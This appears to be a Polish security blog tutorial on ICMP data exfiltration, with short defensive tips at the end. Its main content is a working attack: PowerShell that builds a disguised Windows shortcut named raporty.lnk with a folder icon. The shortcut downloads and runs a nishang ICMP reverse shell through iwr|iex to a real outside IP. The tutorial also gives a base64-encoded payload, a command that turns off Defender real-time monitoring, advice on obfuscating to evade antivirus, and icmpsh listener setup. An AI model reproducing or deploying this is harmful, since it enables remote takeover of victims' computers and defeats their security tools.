W tym artykule przyjrzymy się mniej powszechnej technice eksfiltracji danych z użyciem protokołu ICMP, którego używa m.in. program ping.

W dziedzinie testów penetracyjnych (czyli testów zabezpieczeń) rozróżnia się tzw. Red team oraz Blue team, drużyny atakujących (np. testerów penetracyjnych) i obrońców (np. administratorów). Na potrzeby tego tekstu nazwijmy ich Czerwonymi oraz Niebieskimi.

Eksfiltracja - z czym to się je?

Eksfiltracja w dziedzinie bezpieczeństwa to wyciąganie danych z jakiegoś miejsca. Oczywiście w tej branży to miejsce z reguły nie jest przeznaczone, by wszyscy chętni się za to zabierali.

Standardowe sposoby

Często jednak gospodarz nawet nie wie, że eksfiltracja się odbywa. Czerwoni zawsze starają się wykorzystać techniki, które przechodzą tuż pod radarem Niebieskich. Przykładowo - dobrze wiadomo, że ruch UDP/TCP z komputera powinien być wnikliwie monitorowany, by udaremnić wysłanie za jego pośrednictwem wrażliwych informacji. Utworzenie tzw. Reverse shell (zdalnej linii komend, za której pomocą haker może kontrolować komputer bez wiedzy właściciela) jest banalnie proste z użyciem dowolnego oprogramowania (sprawdźcie ten link), które jest w stanie wysyłać i odbierać ruch UDP/TCP.

Powiedzmy, że ruch jest zakodowany niekonwencjonalnymi sposobami lub szyfrowany i nie będzie widoczny niewprawnym okiem tak jak w poniższym przykładzie:

CMD shell commands in wireshark

W dalszym ciągu ruch standardowych pakietów TCP/UDP musi odbyć się na nieużywanym porcie maszyny. Jest to stosunkowo łatwiejsze do wykrycia jako odstępstwo od normy. Szczególnie podejrzanie dla administratorów wyglądają otwarte porty o wysokich numerach jak np. 55555. Z drugiej strony wystawienie usługi na takim porcie jest często pomijane przez szybkie skany z zewnątrz.

Inną sprawą jest to, że trzeba najpierw taką eksfiltrację ustawić. Wirus tworzący zdalną linię poleceń może być dostarczony w różny sposób (phishing, zdalne wykonanie kodu itd.), ale musi zostać najpierw uruchomiony. Przy użyciu znanych i lubianych technik może być to zablokowane przez tak podstawowego antywirusa, jak Windows Defender.

https://twitter.com/zh4ck/status/923110919344934912

Eksfiltruj po ICMP!

Patrząc z perspektywy Czerwonych - jak w takim razie doprowadzić do eksfitracji danych? Dobrze jest używać technik, które nie zdążyły jeszcze spowszednieć, bądź są stosunkowo ciężkie do zablokowania. Jedną z nich jest ruch odbywający się z użyciem protokołu ICMP. Nie wchodząc w szczegóły - protokół ICMP to popularne od zarania Internetu narzędzie służące do diagnostyki sieci (ping) i ustalanie tras pakietów (traceroute, mtr).

W jaki sposób jest to przydatne / niebezpieczne? Otóż w protokole ICMP można przemycić dodatkowe dane, nawet z użyciem standardowego programu ping. To o tyle ciekawe medium, że ruch ICMP to coś, co spodziewamy się zobaczyć w sieci. Nie potrzeba definiować portu, poprzez który następuje komunikacja (do protokołu ICMP nie ma przypisanego portu TCP/UDP - gdyż nie odbywa się on w warstwie 3 (transportowej), ale 2 (internetowej) modelu TCP/IP).

W wielu miejscach również łatwo zapomnieć o blokadzie z pozoru niegroźnego ruchu ICMP. Raczej nie znajdzie się go dozwolonego na firewall’ach Internetowym poważniejszych firm, ale prawdopodobnie będzie on dozwolony w sieci wewnętrznej.

Jak wygląda zwykły pakiet ICMP?

ping packet picture

Jak widać, sam pakiet nie jest wielki i zawiera w sobie dane, które na tłumaczone na ASCII wyglądają jak losowe znaki. Warto zwrócić uwagę na filtr w tcpdump:

  • icmp[icmptype] == 8.

ICMP typu 8 to ICMP Echo request - zapytanie wysłane przez program PING, odpowiedzią na nie (tzw. PONG) jest ICMP Echo Reply (typ 0). To jedyne 2 typy wiadomości ICMP, używane przez program PING i dlatego tylko one będą nas interesować. Jak więc wygląda wysyłanie odbieranie danych po ICMP?

Przykłady poniżej:

Bash

# Wysyłaj
ping -p "$(xxd -pu <<< "hello")" localhost

# Odbieraj
tcpdump -nni lo -e icmp[icmptype] == 8  -lA -s 0

Zwróćcie tutaj uwagę na argument po parametrze -i - jest nim interfejs sieciowy lo, czyli loopback. Jest to wirtualny interfejs, który komputer wykorzystuje do rozmawiania z samym sobą. Tutaj będą trafiać zapytania na adres localhost / 127.0.0.1. W przypadku zapytań z innego komputera trzeba wybrać interfejs sieciowy, który będzie je obsługiwał (eth0 / wlan0 / ens3 / en0 itd.).

W przypadku interfejsu podpiętego do Internetu możliwe, że traficie tam na dużo zapytań z innych maszyn, które będą zaciemniać obraz, można je filtrować z użyciem filtrów tcpdumpa np.

tcpdump -nni ens3 -e icmp[icmptype] == 8 and not net 167.114.37.1 -lA

Powershell

# Wysyłaj
$ICMPClient = New-Object System.Net.NetworkInformation.Ping
$buff = ([text.encoding]::ASCII).GetBytes("hello")
$ICMPClient.Send('localhost', 10, $buff, $null) | Out-Null

Python

## Odbieraj
import socket
  
def listen():
  s = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
  s.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1)
  while 1:
    data, addr = s.recvfrom(1508)
    print("Packet from %r: %r" % (addr,data))

listen()

Do stworzenia klienta ICMP z poziomu pythona oczywiście można wykorzystać wiele gotowych bibliotek takich jak np. pythonping. Niestety mają one jedną zasadniczą wadę nad wykorzystaniem basha lub powershella - wysłanie pakietu ICMP wymaga tam uprawnień administratora.

Jest to jednak do obejścia natywnie, w samym pythonie, z trochę większą ilością kodu - dobrym przykładem jest skrypt dostępny tutaj, który łatwo można dostosować by wysyłał również dodatkowe dane w pakiecie ICMP.

Dalej w las

Jak widać samo wysłanie / otrzymanie informacji kanałem ICMP jest dosyć proste. Oczywiście, to tylko baza pod pełną komunikację. Jakie problemy czekają nas ze skryptami powyżej? Problemy każdej komunikacji:

  1. Dzielenie pakietów - pojedynczy pakiet ICMP może zawierać co najwyżej 576 bajtów dodatkowych danych, dlatego każdy dłuższy String potrzebujemy podzielić, by wysłać go w wielu pakietach i składać informacje razem przy odbiorze.

  2. Utrata pakietów - ICMP nie używa protokołu TCP, więc nie ma żadnej gwarancji, że pakiety dotrą na miejsce. Szybkim, lecz prymitywnym rozwiązaniem jest wysyłanie każdego pakietu kilkukrotnie, szczególnie gdy jako Czerwoni chcemy wyciągnąć trochę danych. Bardziej zaawansowanym rozwiązaniem, jest implementacja prostych kodów korekcyjnych i w razie błędu wysłanie pakietu jeszcze raz.

  3. Wysyłanie danych czystym tekstem - jest to oczywiście łatwe do zauważenia podczas monitorowania sieci. Minimalną formą obfuskacji wysyłanych danych powinno być kodowanie danych (np. base64), a trudniejszą do wykrycia szyfrowanie danych (np. AES).

  4. Zbędne dane - dane o pakiecie powinny być użyte tylko do kontroli poprawności danych. Przy większej ilości danych wyświetlanie ich użytkownikami wraz z danymi, jest zaśmiecaniem ekranu.

  5. Spowalnianie pakietów - wszystkie pakiety wysłane na raz, mogą się wydać podejrzane. Z tego powodu chwila przerwy między pakietami może pozwolić łatwiej uniknąć wykrycia.

Oczywiście można je w ramach praktyki pokonać samemu, ale jak to bywa w Internecie, pojawia się wiele gotowych przykładów, które wystarczy przystosować na własny użytek. Poniżej kilka wartych wspomnienia przykładów:

Taki komunikator po protokole ICMP nie musi służyć tylko do testowania zabezpieczeń (w dobrych lub niecnych zamiarach). Można go również użyć jako formy obejścia bezsensownych ograniczeń np. w hotelowym wifi.

Trochę zabawy

Teraz by zademonstrować bardziej zaawansowane użycie, stwórzmy prostego wirusa, którego przemycimy w pliku Windowsowego skrótu (rozszerzenie .lnk). Taki plik po kliknięciu będzie uruchamiał zdalną linię komend po protokole ICMP, która połączy się z naszym serwerem.

Dlaczego skrót windowsowy?

  • Bo pozwala również na wykonywanie skryptów, jeśli zamiast docelowego folderu podamy plik powershell.exe lub cmd.exe z argumentami.
  • Standardowy użytkownik może uruchomić skrót pobrany z Internetu ze znacznie mniejszą ilością ostrzeżeń niż np. plik exe
  • Można mu przypisać dowolną ikonę, np. ikonę folderu, inny rodzaj pliku będzie sygnalizowała tylko mała strzałka w lewym dolnym rogu. W ten sposób łatwo go pomylić z folderem.
properties win lnk

Klient

W ten sposób możemy wrzucić tam powershellowy skrypt, wspomniany wcześniej: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellIcmp.ps1

Pole Target skrótu ma ograniczoną pojemność, prawdopodobnie nie zmieści się tam żaden bardziej skomplikowany skrypt, ale też nie musi. Taki skrypt można pobrać np. bezpośrednio z githuba (choć lepiej w rzeczywistym użyciu postawić, na mniej podejrzane źródło). W powershellu będzie to wyglądało w ten sposób:

(Invoke-WebRequest https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content | Invoke-Expression

# Z użyciem powershellowych aliasów na komendy - oszczędzajmy miejsce!
(iwr https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content|iex

Invoke-WebRequest pobiera zawartość strony, jest odpowiednikiem curl’a w powershellu. Invoke-Expression wykonuje komendy powershellowe zawarte w napisie (Stringu) - w tym wypadku definicję funkcji Invoke-PowerShellIcmp

Kiedy definicja funkcji / modułu jest już załadowana, można jej używać w danym kontekście powershellowym:

Invoke-PowerShellIcmp -IPAddress 51.37.175.232

Niestety dla Czerwonych próba załadowania definicji funkcji z użyciem połączonych mocy Invoke-WebRequest or Invoke-Expression zostanie zablokowana przez funkcję Real Time Protection Windows Defendera.

malicious content blocked

Możemy ją tymczasowo wyłączyć również przy użyciu powershella, ale wymaga to uprawnień administratora:

Set-MpPreference -DisableRealtimeMonitoring $true

Jak więc obyć się bez tego? W tym celu potrzeba obejść sygnatury, których szuka Windows Defender w wykonywanym kodzie. Rozwiązaniem jest tzw. Obfuskacja. To celowe mieszanie kodu tak by był mniej czytelny - dla ludzi, oraz antywirusów. Będzie to np. zakodowanie części payloadu (np. w base64), lub zaszyfrowywanie go (np. w AES). Przykładowo nasz payload uruchamiający zdalną linię komend możemy zaciemnić w ten sposób:

powershell.exe -c '(iwr https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content|iex'

# Base64 - kiedyś to działało!
powershell.exe -enc KGl3ciBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vc2FtcmF0YXNob2svbmlzaGFuZy9tYXN0ZXIvU2hlbGxzL0ludm9rZS1Qb3dlclNoZWxsSWNtcC5wczEpLkNvbnRlbnR8aWV4O0ludm9rZS1Qb3dlclNoZWxsSWNtcCAtSVBBZGRyZXNzIDUxLjM4LjE4NS4yMzIK

To bardzo podstawowe użycie, obecnie Windows Defender (i zapewne każdy inny antywirus), wykryje złośliwy kod zapisany w ten sposób. Skuteczna obfuskacja w dzisiejszych czasach wymaga wielokrotnego i wielopoziomowego zaciemniania kodu różnymi metodami. Z pomocą może nam przyjść tutaj framework - Invoke-Obfuscation

Ideę obfuskacji świetnie obrazuje jego ekran startowy:

Przykład obfuskacja
Przykład obfuskacja.

Odpowiednio zmienioną z użyciem Invoke-Obfuscation komendę kopiujemy w pole Target tworzonego skrótu. Nie ma sensu bym wklejał tutaj wyjściowy kod, który zadziała u mnie, gdyż w ciągu paru miesięcy, może on nie działać wraz z nową wersją Windows Defendera - to już kwestia eksperymentów.

Pojedyncza obfuskacja może być niewystarczająca, warto wykorzystać kilka różnych technik nakładając je na siebie. W przypadku lokalnego testowania na Windowsie 10, trzeba pamiętać by wyłączyć opcję Windows Defendera - Cloud-delivered protection oraz Automatic sample submission. W przeciwnym wypadku nasz payload może zadziałać tylko raz.

Tworzenie skrótu również możemy wykonywać bezpośrednio z powershella, zamiast z windowsowego eksploratora plików. Z poziomu kodu można wrzucić więcej znaków w pole Target niż z poziomu eksploratora plików (tutaj tylko 256 znaków)

# Wyłącz Windows Defender Realtime protection dla testów bez obfuskacji - wymaga admina
# Nie zobfuskowana komenda będzie mogła działać jedynie
# z wyłączoną funkcją Real Time protection 

#Set-MpPreference -DisableRealtimeMonitoring $true

# Stwórz payload
$cmd = '(iwr https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1).Content|iex;Invoke-PowerShellIcmp -IPAddress 51.38.185.232'

# Stwórz link
$w = New-Object -ComObject WScript.Shell
$desktop = [system.environment]::GetFolderPath("Desktop")
$link = $w.CreateShortcut("$desktop\raporty.lnk")

$link.TargetPath = 'powershell.exe'
$link.Arguments = "-w h -c `"$cmd`""
$link.workingDirectory = 'c:\'

# Liczba po przecinku ustawia ikonę 
# (numeracja zgodnie z kolejnością w eksploratorze plików)
$link.IconLocation = "C:\Windows\System32\Shell32.dll,3"
$link.save() > $null

Serwer

Wpierw (przed odpaleniem wirusa) musimy ustawić nasłuchiwanie po stronie serwera, w tym celu możemy użyć listenera również z wcześniej wymienianego narzędzia - https://github.com/inquisb/icmpsh

# Wyłącz odpowiedzi serwera na ping 
sysctl -w net.ipv4.icmp_echo_ignore_all=1

# Uruchom listner ICMP Reverse Shell
python icmpsh_m.py <dst_ip> <src_ip>

Wykonanie

Voila! - Po odpaleniu skrótu zobaczymy w naszym listenerze przejście do powershellowej linii komend kontrolującej komputer naszej ofiary.

Ikona
Properties win lnk

Podsumowanie

W branży bezpieczeństwa często widać wykorzystanie technologii, w sposób, który nie został przewidziany przez jej twórców. Dane w protokole ICMP, które miały służyć jako dodatkowe informacje dla rozwiązywania problemów sieciowych, można wykorzystać jako pełny kanał komunikacyjny, który łatwo przeoczyć.

To pokazuje potrzebę holistycznego podejścia do tematu - zarówno kiedy musisz zabezpieczyć sieć, jak i kiedy musisz sprawdzić jej zabezpieczenia.

Niebiescy

  • Blokuj ruch ICMP na firewall’u wychodzącym do Internetu i każdy ruch, który nie jest niezbędny
  • Używaj dynamicznej analizy pakietów ICMP w sieci wewnętrznej
  • Ciągle obserwuj pojawiające się nowe zagrożenia i reaguj na nie. Bezpieczeństwo jest ciągle trwającym procesem, ekfiltracja po ICMP może być znana już dawno, ale ta z wykorzystaniem innego protokołu, mogła pojawić się wczoraj

Czerwoni

  • Szukaj niestandardowych rozwiązań i omijaj popularne, jeśli boisz się wykrycia
  • Samo wysłanie danych ICMP nie wymaga uprawnień administracyjnych (nasłuchiwanie / C&C shell już tak), może czasami to dość by wyciągnąć dane?
  • Nadużywaj natywnych rozwiązań (np. ping), zamiast szukać gotowych narzędzi

Biblioteczka

Wykrywanie